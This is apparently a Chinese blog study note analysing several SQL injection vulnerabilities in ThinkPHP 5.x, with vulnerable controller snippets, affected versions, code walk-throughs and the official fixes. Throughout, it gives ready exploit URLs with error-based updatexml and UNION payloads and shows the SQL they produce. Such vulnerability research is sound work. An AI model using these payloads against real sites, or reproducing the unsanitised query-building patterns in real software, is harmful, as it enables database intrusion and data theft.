ThinkPHP5.x注入漏洞学习

时间:2021-08-03
本文章向大家介绍ThinkPHP5.x注入漏洞学习,主要包括ThinkPHP5.x注入漏洞学习使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
ThinkPHP5.x注入漏洞学习

前言

以下复现均需要在application/database.php 文件中配置数据库相关信息,并开启 **application/config 中的 ** app_debugapp_trace

通过以下命令获取测试环境代码:

composer create-project --prefer-dist topthink/think=版本 tpdemo

composer.json 文件的 require 字段设置成如下,之后执行一次 composer update

"require": {

    "topthink/framework": "漏洞版本" 
}

ThinkPHP ParseData 方法注入

漏洞概要

本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生(insertupdate)注入,本文以insert注入为例。

洞影响版本: 5.0.13<=ThinkPHP<=5.0.155.1.0<=ThinkPHP<=5.1.5

漏洞环境

<?php
namespace app\index\controller;
class Index
{
    public function index()
    {
        $level=input("level/a");
//        $data=db("users")->where("id","1")->insert(["level"=>$level]);
        $data=db("users")->where("id","1")->update(["level"=>$level]);
        dump($data);
    }
}

访问http://yoursite/index.php/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=1

即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的)

漏洞分析

我们直接跟进到insert

继续跟进$this->builder->insert

继续跟进$this->parseData

因为我们是数组所以进入这里,然后没有任何的过滤导致直接赋值给$result[$item]

然后我们这三种case都可以造成sql注入

但是熟悉tp3的师傅们都熟悉。I函数接受的时候会有htmlspecialchars think_filter 的过滤处理

tp5一样也是有的filterExp,会将我们EXP=>EXP空格 因此就匹配不上了

回到library/db/Buider.php中然后返回的sql语句结果为,从而造成SQL注入。

INSERT INTO `users` (`level`) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+1) 

最后来一张攻击总结流程【图来自七月火前辈】

漏洞修复

ThinkPHP ParseArrayData 方法注入

漏洞概要

本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生( update 方法注入)

影响版本:5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)

漏洞环境

<?php
namespace app\index\controller;
class Index
{
    public function index()
    {
        $level=input("level/a");
        $data=db("users")->where("id","1")->update(["level"=>$level]);
        dump($data);
    }
}

访问http://yoursite/index.php/index/index?level[0]=point&level[1]=1&level[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&level[3]=0

即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的)

漏洞分析

我们直接到library/think/db/Query类的update方法

我们继续跟进Connection 类的 update 方法,该方法又调用了 $this->builderupdate 方法。

我们直接跟进吧

我们又看到parseData方法。5.0.19的SQL注入就是在这里产生的。我们跟进去看一下

parseArrayData方法代码

    protected function parseArrayData(Query $query, $data)
    {
        list($type, $value) = $data;
		//$data是我们传入的数组
        switch (strtolower($type)) {
            case 'point':
                $fun   = isset($data[2]) ? $data[2] : 'GeomFromText';
                $point = isset($data[3]) ? $data[3] : 'POINT';
                if (is_array($value)) {
                    $value = implode(' ', $value);
                }
                $result = $fun . '(\'' . $point . '(' . $value . ')\')';
                break;
            default:
                $result = false;
        }

        return $result;
    }

没有任何的过滤将我们的恶意代码拼接了起来,所以可以构造出很多的payload

$result = $fun . '(\'' . $point . '(' . $value . ')\')';
$result = $data[2] . '(\''. $data[3].'('.$data[1].')\')';

经过str_replace()于是我们的SQL语句就是

UPDATE `users` SET `level` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')  WHERE  `id` = :where_AND_id

漏洞修复

官方比较暴力的就直接删除了default语句块,并直接删除了ParseArrayData方法。

ThinkPHP ParseWhereItem方法注入一

漏洞概要

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生(select 方法注入)

漏洞影响版本: ThinkPHP<5.0.10 [外面都说的是=5.0.10,具体原因后面会说]

漏洞环境

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = input('username/a');
        $data = db('users')->where(['username' => $username])->select();
        var_dump($data);
    }
}

访问http://yoursite/index.php/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#

漏洞分析

老样子因为漏洞不在where所以直接来到select方法

进入$sql = $this->builder->select($options)

再进入parseWhere方法中的$this->buildWhere->parseWhereItem

这里代码太多我就截取关键点说一下

因为$value是array可控,没有过滤。所以导致拼接造成我们的SQL注入。

最后用七月火师傅的图来总结一下

漏洞修复

官方修复在Request.php 文件的 filterValue 方法中,过滤掉 NOT LIKE 关键字[图来自七月火师傅]

下图是七月师傅所述的

七月火师傅在漏洞修复说的是5.0.10以前是不存在的是因为他把in_array搜寻的东西搞错了

5.0.9复现过程

所以我认为关键点在这里

ThinkPHP ParseWhereItem方法注入二

漏洞概要

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生( select 方法注入)

漏洞影响版本: ThinkPHP5全版本

漏洞环境

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username');
        $data = db('users')->where('username','exp',$username)->select();
        var_dump($data);
    }
}

介绍一下where中的exp吧

例如下面两条语句是完全相等的。

$map['username']  = array('in','admin,r0ser1');
$map['username']  = array('exp',' IN (admin,r0ser1) ');

访问http://yoursite/index.php/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)%23

即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的)

漏洞分析

因为都是parseWhereItem 出现的问题上面一文分析过了一些点,我们这次只看关键点。

漏洞修复

官方无修复,并不承认这是一个漏洞认为这是他们提供的一个功能。

ThinkPHP orderby 方法注入

漏洞概要

漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22

漏洞环境

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $orderby = request()->get('orderby');
        $result = db('users')->where(['username' => 'R0ser1'])->order($orderby)->find();
        var_dump($result);
    }
}

访问http://localhost:8000/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的)

漏洞分析

漏洞出现在order嘛那我们直接看order函数。截取关键部分

    public function order($field, $order = null)  //$field是我们传入的值
    {
        if (!isset($this->options['order'])) {
            $this->options['order'] = [];
        }
        if (is_array($field)) {  
            //传入的是一个数组 进行合并然后赋值给$this->option
            $this->options['order'] = array_merge($this->options['order'], $field);
        } else {
            $this->options['order'][] = $field;
        }
        return $this; //返回this this包含了$field 
    }

然后再进入find函数,在 Connection 类的 find 方法中调用 Builder 类的 select 方法来生成 SQL 语句。相信大家对 Builder 类的 select 方法应该就不陌生了。前几篇分析文章中都有提及这个方法。这个方法通过 str_replace 函数将数据填充到 SQL 模板语句中。这次我们要关注的是 parseOrder 方法,这个方法在新版的 ThinkPHP 中做了代码调整,我们跟进。

parseOrder 方法中,我们看到程序通过 parseKey 方法给变量两端都加上了反引号。然后直接拼接字符串返回没有任何过滤

导致我们最终的SQL语句就是

SELECT * FROM `users` WHERE  `username` = :where_AND_username ORDER BY `id`|updatexml(1,concat(0x7,user(),0x7e),1)#` LIMIT 1  

[七月火前辈总结]

漏洞修复

官方pass掉了了)#,进行了修复。

ThinkPHP 聚合查询注入

漏洞概要

本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.215.1.3<=ThinkPHP5<=5.1.25

不同版本 payload 需稍作调整:

5.0.0~5.0.215.1.3~5.1.10id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

5.1.11~5.1.25id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

漏洞环境

// 这里用5.0.10复现学习
<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $count = input('get.count');
        $res = db('users')->count($count);
        var_dump($res);
    }
}

聚合函数如下

访问 http://yoursite/index/index/index?data=id),(updatexml(1,concat(0x7,user(),0x7e),1)%23 链接,即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的,当然我们也可以构造其他的语句)

例如延时注入等

漏洞分析

我们直接到count方法这里

我们发现$this->value(里面的东西没有任何的过滤)直接拼接起来传递给value方法我们跟进看一下

跟到$this->builder->select方法如下

$this->parseField

$this->parseKey

返回之后都赋值给array数组,然后再通过$fieldsStr = implode(',', $array)又把我们数组给拼接成字符串最终返回的语句如下

SELECT COUNT(id),(updatexml(1,concat(0x7,user(),0x7e),1)) AS tp_count FROM `users` LIMIT 1  

最后放一个七月火师傅的总结【最后有七月火师傅的链接,大家可以看七月火师傅的。我也是跟着学习】

漏洞修复

官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。

ThinkPHP 5.0.9鸡肋注入

漏洞概要

为什么说是鸡肋注入,因为TP5使用PDO查询。将参数与查询语句分离导致我们这个注入不支持子查询。就只能利用报错注入爆出一些内置函数。

关于这个漏洞的一些简单思考

这里就不复现了。下面会放P牛的那篇文章,这里就写一写我对这个鸡肋漏洞的思考吧。

除了这一个洞,上面的所有SQL注入都是可以报数据的。当然我们不能用XPATH来爆,不然就会提示。

仅仅支持常量。我们去wireshark发现在第一步预处理已经报错不走了。

常量?何为常量,广义来讲也就是不变的量。用P牛的话来讲

预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

因为像user() database()这就是常量因为他是库函数。

那我们是否可以不用XPATH来爆呢。他不是提示Only constant XPATH queries are supported

当然是可以的,他回进行预处理->绑定->执行->报错

那这个洞是到底可以不可以呢?

提示的是参数为定义。那是哪一步出的问题呢?

进入$this->query->bind发现赋值给this返回了

回到Query.php中$bind = $this->getBind();// 获取参数绑定

发现又返回给了bind后面预处理之后的调用了bind。

执行的时候又获取bind当我们看wireshark或许就可以发现答案

所以到bind时候就会报错。报参数未定义。因为这个漏洞我们利用的就是IN这里所以要加,or)

参考

七月火前辈:https://github.com/Mochazz/ThinkPHP-Vuln

P牛:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

原文地址:https://www.cnblogs.com/R0ser1/p/15093687.html